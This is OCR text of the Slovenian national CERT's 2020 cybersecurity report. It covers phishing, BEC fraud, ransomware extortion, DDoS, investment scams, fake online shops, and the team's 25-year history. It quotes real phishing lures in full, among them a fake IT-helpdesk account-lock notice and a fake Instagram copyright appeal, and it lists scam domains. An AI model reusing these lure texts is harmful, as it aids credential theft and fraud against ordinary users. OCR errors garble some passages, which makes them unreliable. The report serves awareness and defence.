Pred prvo prijavo v spletno all mobilno banko je
potrebna registracija (tudi za obstojele uporabnike).
Postopek registracije si oglejte v videih.

Za registracijo kliknite na spodnjo povezavo.

Registracija | Pozabljeno osebno geslo

Facebook phishing
preko zasebnih sporocil

Komunikacijski kanal za izvedbo phishing napadov
predstavljajo tudi drugi sistemi za neposredno
sporocanje, kot je Facebook Messenger (enako velja
za Viber, WhatsApp itn). V primeru Facebooka so bile
tarée napadov praviloma mlaj$e Zenske, ki so prejele
zasebno sporodilo s phishing povezavo iz profila neke
druge uporabnice, ki pa ga ni poslala ta uporabnica,
ampak napadalci, ki so predhodno vdrli v njen
Facebook ra¢un. Povezava v sporogilih je kazala na
lazno phishing stran za vpis Facebook gesla, nato pa
preusmerila Se na reklamno stran za komercialni SMS
klub ali prevaro s skrito naroénino. V vseh primerih
smo zrtvam podali navodila za obnovitev dostopa

in jim svetovali prijavo zlorabe na policijo.

&au kim ..lahk prosim ispoune$
eno anketo?..kolegica ma za
faks.Sm 4 vprasanja.

o et e T T

prijavié se z fbjom da
odpre.Prijava je kr vsak lahk
sm enkrat odpre.

&e ne odpre link ga kopiraj in

prilepi v novem zavihku..enim
fb blokira,nevem zakaj.

Ok @

hvala (&) povej Ee odpre kr
enim nekj nagaja

Mene to kr na eno cudno
spletno stran preusmeri*-

tisto za vpis bi moglo odpret
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Ciljani phishing napadi
na zaposlene v podjetjih

Zaznali smo tudi phishing napade, ki so bili ciljani lahko prislo tudi na generi¢ne kontaktne naslove
na vecje Stevilo zaposlenih v dolo¢enem podjetju podjetja oz. organizacije. Glede na omejeno Stevilo
oz. organizaciji, pri E¢emer so elementi sporodila prejemnikov in personaliziran nagovor ima tako
vsebovali tudi podatke o tem podjetju. Analiza je sporocilo ve¢ moznosti, da se izogne filtrom na
pokazala, da so bili med prejemniki tako trenutno postnih streznikih in da prejemniki odgovorijo nanj.

zaposleni kot tudi bivsi zaposleni, sporodilo pa je

Primer phishing sporoéila, ciljanega na zaposlene v Akademski in raziskovalni mrezi Slovenije:

3 Inbox | B Ma voljo imate (1inove por X l B A = o *
Gl Get Message: v # wite ) chmt (&) address Boak Mg v T Cuick Filte D Suarch <Ctrie K> =
From ITHelpdek < shagalarstsbramee@gmailcoms T © Reply [} ReplyList|v -~ Forward | ) Archive | @) Junk | [ Delete) | More™

<1 Mavoljo imate |1} nove pemembno sporodile 3. 08, 2020 1632
Te unduclosed-recipients; T

Spostovana akademska in raziskovalna mreZa Slovenije Uporabnik e-poftnega ratuna

Skrbnik sistemske poite je zatasno onemogodil vas sistemski administrator zaradi nekaterih nenavadnih dejavnosti v vaem e-poitnem raunu, saj nekatere
informacije niso bile preverjens, Ze Zelite aktivirati svoj ralun, kliknite spodnjo povezavo

KLIENI TUKAJ

To sporotilo boste morda nasli v mapi »MNelelena po3tax zaradi nenavadnih dejavnosti, se vijudno premaknite v mapo »Prejetox in kliknite 2gornjo povezavo. Ce
tega ne storite, boste e-poltni ralun popolnoma zaklenili in e-podtno sporotilo bo izbrisano s poltnega streZnika. Tega obvestila ne prezrite. Zdravite zelo nujno

Politika zasebnost | © 2020 Akademska in raziskovalna mrefa Slovenije
. Vse pravice pridriane
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Kraje Instagram
racunov

Povezava do &lanka:
www.vni.si/2020phishing

Tekom leta smo zabelezili ve¢ primerov kraj Instagram
racunov preko laznih zasebnih sporocil upravljalcem teh
racunov, obi¢ajno pod krinko prijave krsitve avtorskih pravic
ali obvestila o odobritvi verificiranega ra¢una.

Imena domen phishing strani lahko zZrtvi dajo napacen
obdutek legitimnosti (npr. “appeal-form. com*,
“copyright-help-instagrm. gq“ ipd.).

Po vpisu gesla so napadalci nemudoma prevzeli profil, spremenili
kontaktne podatke in s tem zrtvi prepredili moznost povrnitve
dostopa. Zrtev obi¢ajno nima moznosti pomodi s strani uradne
podpore, zaradi ¢esar lahko v celoti izgubi dostop do profila.

Uporabnikom svetujemo, da dostop do pomembnih rac¢unov
vedno zasditijo z vklopom 2-faktorske avtentikacije.

Whe We Are What We Build

enter your acéount
VEE i El nd.continue to

the

\

15:34 4

< @Eﬁ:?ﬂ.g:htlHelpCenter =6

vl LTE =

Instagram Help Center | Copyright

Hello Dear User !

Copyright detected on your post

or account.

If you think copyright

infringement is wrong, you
should provide feedback.

Otherwise, your account will be
closed within 24 hours. You can
give feedback from the link

below.

Thank you for your
understanding.

Form : https://appeal-form.com

(Synchronization problems may
occur. If the link is not working,
write this text in a notebook and
copy the link and paste it into

1_. O' Message...

00

~

%
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http://www.vni.si/2020phishing

Napadi na podjetja - izsiljevanja
in preusmeritev banénih racunov

Pri napadih, ki so ciljana predvsem na podjetjq, gesla enega od zaposlenih pridobijo dostop do

v letu 2020 belezimo upad direktorskih prevar in omrezja in nato z razli¢nimi hekerskimi metodami
porast BEC napadov. Zaradi izrednega povedanja pridobijo pravice domenskega administratorja.
dela zaposlenih od doma in posledi¢no povecane S temi pravicami podjetju ukradejo obcéutljive
uporabe storitev oddaljenega dostopa se je podatke (baze uporabnikov, poslovne skrivnosti)
povecalo tudi Stevilo vdorov preko RDP streznikov. in zasifrirajo vse uporabniske datoteke. Podjetje
Napadalci napad izvedejo z ugibanjem razli¢nih nato izsiljujejo za odkup Sifrirnega klju¢a ter
kombinacij up. imen in gesel. V primeru slabega grozijo z javno objavo ukradenih podatkov.

Posnetek spletne strani ene od izsiljevalskih skupin s podatki o napadenih podjetjih:

m & Main W Fullderp @ Contact Us

New companies Avaddon team collects and analyzes infarmation about cur clients and Full dumps
TANAN SURFACE MOUNTING thesir companies. Wa spacialize in customer privacy data, financial Greatwide Truckload
TECHMOLOGY CORP. information, databases. credit card information and mone.

Publshed dets: TTLOS GIB
Mt uprinte: 4 Doym 20521 41 [EEE Mow we would like to talk about the cost of non-collaboraticn and self-

serdice data recoveny. Harad e

Officine Piocini S.p.A Encrypted files are ot the main problen. Companies cannot
i T unclerstand the risk of information leakage, especially private Publshed duta LOT GIBH
Mt upciabe: 4 Daye 13507 ; 17 LSS R
Such beaks of information lead to losses for the company, fines and MSPharma
MSW Labor lavwsuits. And dont forget that information Gan fall into the hands of Pubished dats: LOT Gill
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Vdor v poslovno
komunikacijo

Vrsta napada, ki ga oznacujemo kot vdor v poslovno
komunikacijo (angl. BEC, Business email compromise),
smo prvi¢ zaznali leta 2016. Gre za dokaj preprost
napad, ki se obi¢ajno za¢ne s krajo gesla preko
phishing napada enega od zaposlenih v podjetju ali
organizaciji, s ¢imer napadalci pridobijo dostop do
elektronske komunikacije. V primeru poslane fakture
preko filtrov in preusmeritev elektronske poste v
fakturi spremenijo podatek o banénem radunu in
spremenjeno fakturo posljejo zrtvi. kar prejemnik zelo
tezko zazna. Ceprav ne gre za sofisticiran napad, ga
je zelo tezko prepoznati in preprediti, oSkodovanja pa
so praviloma visoka nekaj 10.000 €.

Skupno St.
Leto - . . .
osSkodovanje v€ primerov
2016 134.000 7
2017 68.000 5
2018 530.000 15
2019 432.000 22
2020 144.600 41

* Skupno o$kodovanje v obravnavanih primerih (upostevani so samo zneski,
ki so nam znani. Skupna vsota vseh oskodovanje je vedja).

Nasvet:

Napad BEC je bolj podrobno pisan

v prispevku www.vni.si/bec ter v Porogilu
o omrezni varnosti za 2016 in 17,
strani 42 in 43: www.cert.si/porocila

DDoS napadi
onemogocanja

DDoS napadi (Distributed Denial of Service) so
omrezni napadi onemogocanja neke storitve.
Obicajno gre za volumetri¢ne napade, pri katerih
napadalci zgenerirajo ogromno koli¢ino prometa
proti napadenemu sistemu, zaradi ¢esar ta ne more
ve¢ sprocesirati legitimnih zahtevkov. Napad se na
zunaj odraza na tak nacdin, da napadena spletna
storitev ni dosegljiva. Napadalci napada praviloma
ne izvajajo iz svojih sistemov, ampak storitev
najveckrat najamejo pri nekem ponudniku.

Obravnavani DDoS napadi onemogo¢anja v letu
2020 so imeli razlicne motive. Spomladanski

val napadov je potekal v veliki meri na razliéne
platforme za u¢enje na daljavo. Jeseni pa so
napadalci ciljali na banke z izsiljevalskimi DDoS
napadi, pri katerih so za kon¢anje izvajanja napadov
zahtevali odkupnino, ki lahko v posameznih primerih
znasa tudi ve¢ 100.000 €. Te napade smo videli ze
v prejsnjih letih, z njimi je zacela skupina DD4BC,
kasneje pa so dobili razlicne posnemovalce (najbolj
znani so se poimenovali Armada Collective). Tokrat
so napadalci poskusili zrtve prestrasiti s tem, da

so si nadeli krinko zloglasnih APT skupin Lazarus

in Fancy Bear, napadom pa so bili skoraj vedno kos
zas¢itni mehanizmi slovenskih internet ponudnikov.

Nasvet:

Navodila za zaséito in ukrepanje

v primeru DDoS napadov so navedena
v tehniénem zapisu SI-CERT:
https://www.cert.si/tz001/.
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Uporaba digitalnih potrdil na ime slovenskih podjetij
za podpisovanje skodljive kode

4 N
e Vitali Kremez
@VE_Intel
2020-10-27: ¥l G) #Ryuk #Ransomware | #Signed

&= [Rad-Grad D.O.O.)#DigiCert
API crypted layer flow (simpl.):

memcpy EJNtAllocateVirtualMemory
CryptCreateHash (MD5) EJCryptHashData [
CryptEncrypt£3VirtualProtectEx 3 Dynamic LoadAPI
LdrGetProcedureAddress

hft @malwrhunterteam

p— [

- = 2020-10-26: Ryuk Ranson
: - | Crypted Layer | Decode

= 2020-10-26: Ryuk Ransomware
= |Crypted Layer | Decoder |
APl Flow

|

\ e L j

my

Nekaj razli¢nih vzorcev skodljive kode je bilo
digitalno podpisanih s kvalificiranimi digitalnimi
potrdili, ki so bila izdana na ime dolo¢enih slovenskih
podjetij, ki pa se ne ukvarjajo z razvojem programske
opreme. Predvidevamo, da je prislo do zlorabe pri
procesu izdaje potrdil. Izdajatelja potrdil sta po
nasem obvestilu potrdila preklicala.
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e Signature Info

Signature Verification

A A certificate was explicitly revoked by its issuer.

File Version Information

Datesigned 2020-04-15 22:35:00

Signers
+ = do.0.
+ Sectigo RSA Code Signing CA
+ USERTrust RSA Certification Authority

+ Sectigo (AAA)

Slovenskemu podjetju so preko
izkori§€anja ranljivosti SQL vrivanja
ukradli podatkovno bazo, v kateri so se
nahajali tudi osebni podatki njihovih

strank. Napadalci so podjetje izsiljevali

z groznjami objave podatkov. V podjetju
odkupnine niso plaé&ali, podali so prijavo na
policijo in Informacijskemu pooblaséencu.




Obravnava ranljivosti - napadi na dobavne verige

SI1-CERT ob koordinaciji razreSevanja incidentov in tehniénega svetovanja ob vdorih
na svoji spletni strani izdaja opozorila za upravitelje omrezij in SirSo javnost. V primeru
pridobitve podatkov o ranljivih sistemih v Sloveniji o tem tudi obvestimo skrbnike
sistemov oz. konéne uporabnike.

Objavljena varnostna obvestila v letu 2020:

SI-CERT 2020-01 / Izkori§éanje COVID-19 v kibernetskih napadih

SI-CERT 2020-02 / Varno delo na daljavo

SI-CERT 2020-03 / Kritiéna ranljivost Windows sistemov pri obravnavi Type 1 pisav
SI-CERT 2020-04 / Odpravljene ranljivosti videokonferenénega sistema Zoom
SI-CERT 2020-05 / Lazno sporoéilo NIJZ

SI-CERT 2020-07 / Zlonamerna koda v potvorjenih sporo¢ilih vimenu NLB

SI-CERT 2020-06 / Kritiéna ranljivost Windows DNS streznika

Na kateri naslov S1-CERT poslje obvestilo o ranljivosti?

Kam posljemo obvestilo, je odvisno od vrste podatkov o ranljivih sistemih, ki jih pridobimo. Ce
imamo podatek o domeni, lahko obvestimo tehniéni kontakt nosilca domene, v primeru IP naslova
pa tehni¢ni ali »abuse« kontakt, ki je naveden v RIPE Whois bazi za naslovni prostor, ki mu pripada
IP naslov. Zal kontaktni podatki niso vedno aktualni, saj se doloéen del poslanih sporogil vrne v
obliki obvestila o nedostavljenem sporocilu. Vse take primere moramo dodatno roéno preverjati

in iskati ustreznejse kontaktne naslove. Skrbniki sistemov bi morali poskrbeti, da so kontaktni
naslovi aktualni.
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Primer iskanja kontaktnega naslova za
prijavo zlorab za IP naslov 193.2.1.66:

$ whois -b -h whois.ripe.net 193.2.1.66

% This is the RIPE Database query service.
% The objects are in RPSL format.

%

% The RIPE Database is subject to Terms and
Conditions.

% See http://www.ripe.net/db/support/db-terms-
conditions.pdf

193.2.1.0 - 193.2.1.255

abuse-mailbox: abuse@arnes.si

inetnum:

Nasvet:

Aktualne kontaktne podatke o omrezjih

lahko preverite na spletni strani
https://www.ripe.net/ ali s pomogjo
ukaza »whois«.

Zloraba dobavne verige Solarwinds

SolarWinds Orion je platforma za upravljanje z
IKT sredstvi, ki jo med drugim uporabljajo Fortune
500 podjetja in veliko drzavnih ustanov. Marca
2020 je prislo do vdora v podjetje, med katerim
so storilci namestili stranska vrata v Orion,
podjetje pa je to zlonamerno komponento nevede
“porinilo” naprej svojim strankam skozi cikle rednih
nadgradenj. Slednje je omogocdilo nadaljnje vdore
v ve¢ velikih podjetij in organov drzavne uprave

v ZDA. Napadalci (8lo naj bi za drzavno podprte
akterje, state-sponsored actors) so prek vdora
pridobili dostop do dragocenih virov informacij

in odsko¢no desko za nadaljnje Sirjenje po tujih
omrezjih. Sam napad izkori§¢a dobavno verigo za
dostavo zlonamernega tovora do konéne tocke,
pa Ceprav ne gre za namescéanje vohunskih
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komponent v strojno opremo, ampak v programsko.
V tem primeru je to trojaniziran vti¢nik za Orion
platformo, poimenovan SUNBURST. Glede na nabor
kompromitiranih ustanov je ameriska Agencija

za kibernetsko varnost in infrastrukturo CISA

celo izdala urgentno uredbo. Programsko opremo
podjetja SolarWinds uporabljajo tudi v podjetju
Dominion Voting Systems, ki proizvaja elektronske
volilne naprave, vendar se je kasneje izkazalo,

da ne uporabljajo kompromitiranih produktov.
Preiskava SI-CERT je pokazala zelo majhno
razsirjenost SolarWinds Orion platforme v Sloveniji,
pri posameznih namestitvah pa smo v sodelovanju
s skrbnikom potencialno prizadetih sistemov
preiskovali moznost, da ta vsebuje

zlonamerno komponento.



Spletne prevare

LaZzne spletne trgovine, prevare pri nakupu in prodaji preko malih oglasnikov, lazni
krediti, nigerijske in loterijske prevare, ljubezenske prevare in lazni krediti so Se vedno
stalnice, s katerimi se redno ukvarjamo. Na podroéju spletnih prevar je leto 2020 najbolj
zaznamovala izredna rast investicijskih prevar.

Investicijske prevare

87 - stevilo obravnavanih incidentov v kategoriji investicijskih prevar v letu 2020,

155.000 € - najvedje prijavljeno oskodovanje®,

9 prijavljenih o§kodovanj vecjih kot 10.000 €*.

* Prijava skode je prostovoljna. Upostevani so zgolj primeri, kjer so oskodovanci navedli toc¢en znesek oskodovanja.

Prevare se za¢nejo z laznimi oglasi o bajnih zasluzkih ~ Taki oglasi so zelo pogosti na druzbenih omrezjih,
s kriptovalutami, v katerih goljufi zlorabijo podobe véasih pa se pojavijo tudi na novi¢arskih portalih,
znanih oseb, ki jim podtaknejo neresnicne izjave. kar jim daje lazen videz legitimnosti.

Primeri laznih oglasov investicijskih prevar, ki so se nahajali v razliénih slovenskih spletnih medijih:

ol ¥ |
Mati samohranilka iz Kranja razkriva, kako

Ce zivite v Ljubljana,

Nova platforma za trgovanje z

hko dobite 2250 evrov itcoini ie vi
2z brezplaZno aplikacijo zasluZi 5400 evrov lahko dobit 0 evro B'_“‘_"_"“"' Je vir za nove slovenske
na teden na teden milijonarje
- AN L Y
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Zrtve prepri¢ajo z enostavnim postopkom
investiranja, saj naj bi celotno trgovanje temeljilo
na avtomatiziranih programih z zajaméenim
donosom. Po zadetnem pladilu, ki obi¢ajno

znasa 250 €, zrtve pridobijo dostop do spletnega
portala, ki jim kaze izmis$ljene podatke o
neverjetni rasti investiranih sredstev. Goljufi

s pomocjo prepri¢evanja, tudi preko izredno
pogostih telefonskih klicev, zrtev prepri¢ajo

v e vedje vlozke. Ko zeli zrtev denar prenakazati
na svoj banéni racun, jo goljufi izsiljujejo z
dodatnimi investicijami in plag¢ilom vedno

novih fiktivnih stroskov.

Zrtve, ki i§&ejo pomoé& glede oékodovanja

same na spletu, lahko kasneje najdejo spletne
strani, ki se predstavljajo kot ponudniki pomodi
v ravno tovrstnih goljufijah. Gre za storitve,

ki se agresivno oglasujejo preko razliénih
ponudnikov in naj bi Zrtvam prevar pomagale
priti do izgubljenih sredstev. Pri tem Zrtvam kot
dokaz njihove uspe$nosti prikazejo tudi zasebne
podatke z investicijske platforme, kar lahko kaze
na to, da te storitve in investicijske prevare vodijo
ista kriminalna zdruZzenja. Seveda je cilj zrtvi
tudi preko teh »storitev pomoci« ukrasti Se
dodatna sredstva.

>,
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Primer zavajajocega oglasevanja na enem od
kanalov omrezja Telegam. Taki kanali imajo lahko
veé 100.000 sledilcev oz. potencialnih zrtev:

= = o)
Q 0O :

N Previous message =
i C20. Never give up start now and archive your dreams.. @dee...

MUTUAL FUND'S INVESTMENT

o= . MUTUAL FUND'S INVESTMENT
s PAYOUT PROOFS TO INVESTORS FOR 6...

PAYMENT SENT
SUCCESSFULLY
wvVvVEvyv
vew

MUTUAL FUND'S INVESTMENT

Congratulations /" <7 to everyone that participated in the
investment programme, keep investing, keep earning profits
massively.

You ready to invest?
pom £

t.mess
t.med = = © 6912 15:1

MUTUAL FUND'S INNESTMENT

v/

v/

1
Payment Successful! A
8,500.00
) $4,550.00
has been paid to :
1BZMqKV FomidslSalan 71 DH]Y has been paid to
VkqSGuCddsm |Eoommaty

Ref: 48328205

Ref: 44584039




Primer izmisljenih ocen Zrtev prevar:

Muck ey Ly

HOME | WHO WE ARE WHAT WE DO CONTACT
|

WHAT OUR CUSTOMERS HAVE TO SAY ABOUT FINANCIAL RECOVERY AGEN

JAKOB & LISE BLEGEN

We give FRA the right to use our
images. We lost a joint saving of over
T50,000EUR to an investment trading
company in the fall of 2077, After
looking for help from the authorities
and got nothing concrete, we
researched and came across this outfit.
It still marvels me how the Iweeks of
intense work done by the group here
went by, All of our deposits were
refunded and we owe everything we

are 1o FRA!

GRAHAM HALL

| am a 75 year old pensioner. My
message to victims out there who have
lost hope and are going through

‘Welcome to our site, if you need help simply
reply to this message, we are online and ready to
help.

MRaldan.marbarte snnaschad ma snd

HENSION TRIUA, FHA CAME 1O My rescus

and | will be forever grateful!!! a

| 4

Podrobnosti o investicijskih prevarah si lahko preberete v élanku www.vni.si/investicijske

Zapomnite si splosno univerzalno pravilo pri vseh goljufijah: Ne nasedajte pravljicam.
Ce je nekaj preveé lepo, da bi bilo res, potem verjetno ni res.

S1-CcCert2s %/ /] Poroéilo o kibernetski varnosti // 2020 // 41


http://www.vni.si/investicijske

Lazne spletne trgovine

Lazne spletne trgovine z izvorom na Kitajskem so avtomobilskimi deli ter delovnimi in industrijskimi
stalnica ze vrsto let. Vecino takih spletnih mest stroji, ki se oglasujejo preko oglasov na raznih

se da dokaj enostavno prepoznati, saj uporabljajo spletnih oglasnikih, oglasi pa vodijo na spletno
precej prepoznavno formo, nimajo pa navedenih mesto, ki Ze po svojem izgledu vliva veliko mero

niti kontaktnih podatkov niti osnovnih podatkov zaupanja. Goljufi se predstavljajo v imenu nekega

o podjetju. Ob&asno pa se pojavijo tudi spletne legitimnega podjetja, ki pa nima nobene povezave s
trgovine, ki pa jih ni tako enostavno prepoznati. spletnim mestom. Tekom goljufije Zrtve preusmerijo
Gre predvsem za lazne trgovine z avtomobili, tudi na lazno spletno mesto dostavnega podjetja.

Posnetek spletnega mesta lazne trgovine z rabljenimi avtomobili:

) +44203097T1887  suppon@sebacars.net

SToCHKLET o TS BUY WHY CI003E s FAQ's CONTACT DEALERS RECEITAATION

[ FREE 1 YEAR WARRANTY
[ 5 DAYS RETURN POLICY "
[/ PRE-SALES INSPECTION

&

[/ DELIVERY SERVICE _

4 LOWEST PRICES

WELCOME TO SEBA CARS

SEARCH INVENTORY

=S
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Lazne spletne trgovine
z ukradenimi opisi izdelkov
iz slovenskih spletnih trgovin

Tekom leta so se pojavile lazne spletne trgovine,

ki so vsebovale kopije opisov izdelkov in storitev iz
razliénih slovenskih spletnih trgovin, pri ¢emer je bila
oglasevana cena veliko nizja kot na originalni strani.
Take spletne trgovine imajo zelo kratko Zivljenjsko
dobo in jih lastniki hitro selijo z domene na domeno.
V primeru, da ponudnik gostovanja lazno trgovino
onemogodi, pa jo lastnik preprosto postavi drugje.

Wrome  EECaegones- a Wisghn - Dagik - QELR -
AT VBRI SRS MRl CREie ORrisi I EvECRIrRE - w2DIC120 evadenys Bods o s et

boditnih ckraskow

et

Price: €5.05 (87%0FF)
tne-

i

Za vim nakupe nad 38€ jr peithing BREZPLACKA!

mmwmum-mu

HITRA, DO TRWA Y wpiogd « T gl

VRACILO BLAGAV roku 190 er

Primeri laznih spletnih trgovin
z ukradenimi opisi izdelkov:

si.bestonline2020.net
si.stores2021.com
cheapsale2021.ru
si.sale2021.net
www.sioutlet2021.ru
si.factoryonlineshops.com
shops.bestcheapsale2021.com
si.clearancesale2021.ru
shoponline.2021online.ru
si.onlinestoreoutlet2021.com
si.storecheaponline2021.com
cheaper.outletonlinesale2021.com
shop.onlineoutletsale2021.com
si.onlinesale2021.ru

shops.bestcheapsale2021.com

si.2021cheaps.com
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25 LET
SI-CERT
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1995»

Javni zavod Arnes po letu
priprav ustanovi SI-CERT,
Slovenian Computer Emergency
Response Team, in zaéne
obravnavati prijave

varnostnih incidentov.




Pri preiskovanju vdora v sistem

v Sloveniji odkrijemo zbirko gesel
uporabnikov ra¢unalnika

v lasti ameriske vojne mornarice
(navy.mil). Obvestimo njihov
“Information Warfare Center”.

1996 » 1997 »

Mladi hekerji pri¢nejo vdirati v

tuje sisteme. V Mariboru se oblikuje
skupina, ki se druzi v popularnem
cybercafeju; honorarno jih kot
sistemce zaposlujejo po lokalnih
podjetjih, kjer se tudi ne morejo
upreti hekanju. Lastniki podjetij

in upravljalci internet kavarn imajo
zaradi tega v naslednjih letih

kar nekaj tezav.

Student vdre v radun dekana
fakultete Univerze v Ljubljani in
v njegovem imenu poslje senatu
fakultete pismo z groznjami.

S1-Cert 25

1998 »

Ker SiOL na stevilki 0880
zaraéunava telefonske impulze
prijavljenemu uporabniku (in ne
lastniku telefonskega prikljucka),
postanejo ti uporabniski racuni
predmet kraje in preprodaje, sqj
omogocajo uporabo interneta na
tuj (telefonski) racun. Levjesréni
najde napako v sistemu SiOLaq, s
katero lahko masovno prestreza
gesla in to objavi; izbruhne
preprodaja gesel. Primer zaénemo
preiskovati skupaj s policijo in
identificiramo vpletene.

Obravnavamo prve napade
onemogocanja (denial-of-

s

service) na cilje v Sloveniji.
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Skeniranja naslovnega prostora, vdori pri nas
in v tujini ter Stevilni napadi onemogocanja
nas polno zaposlujejo.

SI-CERT postane ¢lan zdruzenja FIRST
(Forum of Incident Response and Security
Teams), vodja SI-CERT Gorazd Bozi¢ je izbran
za predsednika delovne skupine evropskih
odzivnih centrov TF-CSIRT, ki jo nato vodi
osem let.

Medijsko pozornost ugrabi ¢rv “I love you”, ki
se Siri preko elektronske poste. Problem Y2K
ob prehodu v novo tisoéletje se izkaze za
nepotrebno paniko.

1999 » 2000 » 2001 »

46

Izbruh okuzb s trojanskima konjema
NetBus in BackOrifice, izdanima
leto prej. Omogocata pritajen
dostop in nadzor tujega rac¢unalnika.
Postavimo spletno stran, preko
katere lahko uporabniki preverijo,

ali imajo trojanca na svojem
racunalniku.

Na internetu so na voljo orodja za
izvedbo porazdeljenih napadov
onemogocanja: trin00, Tribal Flood
Network in Stacheldraht.

Ameriska vojska zablokira promet
tudi iz Slovenije do .mil domene pred
bombardiranjem Zvezne republike
Jugoslavije.
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Skozi leto se rojevajo
internetni ¢rvi, ki se
samodejno Sirijo po
racunalnikih na omrezju.
Najbolj odmeven je kitajski
Code Red, sledijo mu
Nimda, Sircam, Klez in
Frethem. Obravnavamo
prva razobli¢enja spletnih
strani in uporabo rootkitov.
V enem incidentu najdemo
nekaj sto zlorabljenih
sistemov v tujini.

SI-CERT gosti kolege iz
evropskih odzivnih centroy,
zdruzenih v delovni skupini
TF-CSIRT.



Preko nezascitenih
posredniskih proxy in SOCKS
streznikov tujci razposiljajo
velike koli¢ine nezazZelene
poste. Izkori§€a se slaba
zascita NetBIOS protokola na
Windows rac¢unalnikih

za stevilne vdore in okuzbe.

IRC vojne — spopadi slovenskih hekerskih
skupin — kulminirajo v napadu na DNS
streznike SiOLa novembra 2004, kar
ohromi vse SiOLove uporabnike. Telekom
Slovenije prekine politiko molka glede
prijav iz SI-CERT in za¢ne se sodelovanje,
ki bo v naslednjih letih pomagalo korenito
zmanjsati Stevilo zlorab in omreznih
napadov v Sloveniji.

“Dialler” virusi po okuzbi kli¢ejo na drage
placljive telefonske stevilke v tujini.

Pojavi se nova vrsta omrezne
zlorabe: phishing.

2002 » 2003 » 2004 »

Luknja v postnem programu
PINE je omogoc¢ila dostop
do seznama uporabniskih
imen Arnesovih guest.arnes.
si uporabnikov. Na srec¢o
samo do oklescéene kopije
brez imen in gesel v zaprtem
(chroot) okolju.

Microsoft IIS spletne
streznike napade ¢rv
Code Red Il.
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Prva phishing stran
v tujini, ki cilja na
komitente slovenske
banke.

2005 » 2006 » 2007 »

Vrstijo se napadi z ugibanjem

gesel iz slovarja preko Secure Shell
protokola — slovenski hekerji kot

za stavo poskusajo vdreti v ¢imveé
tujih ra¢unalnikov. Po ve€meseénem
zbiranju prijav podatke posredujemo
policiji, ki nato opravi okoli

20 hisnih preiskav.

Placljivi igralni strezniki za igro
Call of Duty v Sloveniji povzrodijo
vrsto medsebojnih napadov
onemogoc¢anja med posamezniki
v Sloveniji, s katero Zelijo en

vivy

drugega izriniti s “trziséa".

=S
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V seriji napadov onemogoc¢anja
na spletna mesta nekaterih
ameriskih medijev v botnetu
sodeluje tudi nekaj racunalnikov
iz Slovenije. Na SI-CERT
opravimo analizo zlonamerne
kode, ki omogo¢i FBI prijetje
Bruca Raisleya, ki je nekaj let
kasneje obsojen pred

sodiséem v ZDA.

Pred prvomajskimi prazniki

v Estoniji odstranijo spomenik
vojaku iz sovjetskih ¢asov, kar
sprozi obsezne omrezne napade
onemogodcanja na drzavno
infrastrukturo, banke in spletne
medije. Evropska skupina
odzivnih centrov TF-CSIRT
ustanovi ad-hoc skupino za
pomog, ki jo skupaj vodita finski
CERT-FI in slovenski SI-CERT.



Slovenija prevzame predsedovanje EU,

zato postane bolj zanimiva za ciljane napade
na zaposlene v drzavni upravi. Opravimo
analize poskusov podtaknjenih virusov

v teh napadih; sledi se kon¢ajo na Kitajskem.

Dan Kaminsky odkrije resno napako

v delovanju DNS infrastrukture interneta.
Obvestimo 82 skrbnikov omrezij, da
imajo ranljive streznike, ki omogoca

t.i. “zastrupljanje predpomnilnika”.

SI-CERT podpis$e sporazum z
Ministrstvom za javno upravo, s katerim
prevzame koordinacijo obravnave
varnostnih incidentov na omrezju javne
uprave in pomaga pri vzpostavljanju
samostojnega vladnega odzivnega
centra za drzavno infrastrukturo
(SIGOV-CERT).

Spomladi se med slovenskimi uporabniki
Facebooka zaéne §iriti ¢rv, ki ga je
napisal Slovenec. V Mariboru policija
aretira Matjaza Skorjanca - Iserda, ki je
avtor Butterfly Bota (primer Mariposa).

2008 » 2009 » 2010 »

Skozi leto se borimo s Conficker okuzbami.
Ta napredni ¢rv izkoris¢a veé kanalov

za Sirjenje in se izkaze za trdovratnega
nasprotnika, posami¢ne okuzbe so zaznane
tudi Se pet let kasneje.

Evropski potro$niski center nas prosi za
pomoc¢ v primeru specialphones.eu, kjer nekdo
goljufa s fiktivno prodajo telefonov iPhone

po polovi¢ni ceni. S pomodjo estonskega
CERT-EE dosezemo hiter umik strani.

Za leto 2009 kasneje ugotovimo, da je
prelomno pri porastu spletnih goljufij.
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Zaradi podpisa sporazuma ACTA skupina Anonymous najavi napade na drzavno
infrastrukturo in druge tar¢e. Prevzamemo koordinacijo, postavimo ovire za
napade onemogocanja in obvestimo ponudnike o pricakovanih vrstah napadov.
Napadi na gov.si ne uspejo, nekaj je spletnih razobli¢enj drugih spletnih mest,
medijsko pa je kampanja Anonymousa zelo odzivna.

Hekerska skupina z Bliznjega vzhoda napada banke v ZDA, pri éemer uporabi
tudi 63 streznikov v Sloveniji.

je skoraj 9.000; pricnemo z rednim obvescanjem skrbnikov.

Slovenija prvi¢ sodeluje v vseevropski vaji Cyber Europe 2012 - scenarij
vkljuéuje napade na e-banke in omrezno infrastrukturo, odzivni centri
pa imajo osrednjo vlogo v vaji.

Stevilo obravnavanih incidentov preseze $tevilko 1000.

2011 » 2012 » 2013 »

Pri¢nemo z nacionalnim programom ozave$&anja na Razobli¢enih je ¢ez 1500 streznikov
podrocju informacijske varnosti, Varni na internetu. malih podjetij, $ol in drugih ustanoy,
Odziv javnosti je zelo dober, program v naslednjih letih ki uporabljajo Joomla sistem za
prejme Stevilne nagrade. upravljanje vsebin. Ob sprotnem

obvescanju skrbnikov pripravimo
tudi brosuro “ABC varnosti za
lastnike spletnih mest.”

Ugotovimo, da ima ena od slovenskih elektrarn
javno dostopen vmesnik na spletu in vprogramirana
stranska vrata, ki lahko omogoc&ijo nepooblaséen vstop

in pregled nadzornih sistemov elektrarne. Stevilne S policijo in Uradom RS za

toplotne postaje imajo privzeta gesla na spletnih prepredevanje pranja denarja
vmesnikih, ki prav tako omogoc&ajo nepooblasé¢eno 6 mesecev preiskujemo napade na mala
spreminjanje nastavitev. podjetja, preko katerih so storilci ukradli

1,8 mio. €. Analiza skodljive kode, ki jo
opravimo na SI-CERT, policijo pripelje
do avtorja, Sebastijana Mihel¢ica.

Na Youtubu se znajdejo posnetki zaprtih sej Vlade
RS. Google nase zahtevke za odstranitev ignorira,
dokler se ne domislimo alternativnega pristopa: lastnik

posnetkov je Vlada, torej gre za krsitev avtorskih “Policijski virus” izsiljuje tudi slovenske
pravic! Posljemo DMCA zahtevke pooblasceni uporabnike; na sreco obstaja hiter
odvetnici v ZDA in problem je hitro resen. odklep, s katerim pomagamo ¢ez

300 posameznikom. Na festivalu
vsebinskega marketinga POMP 2013
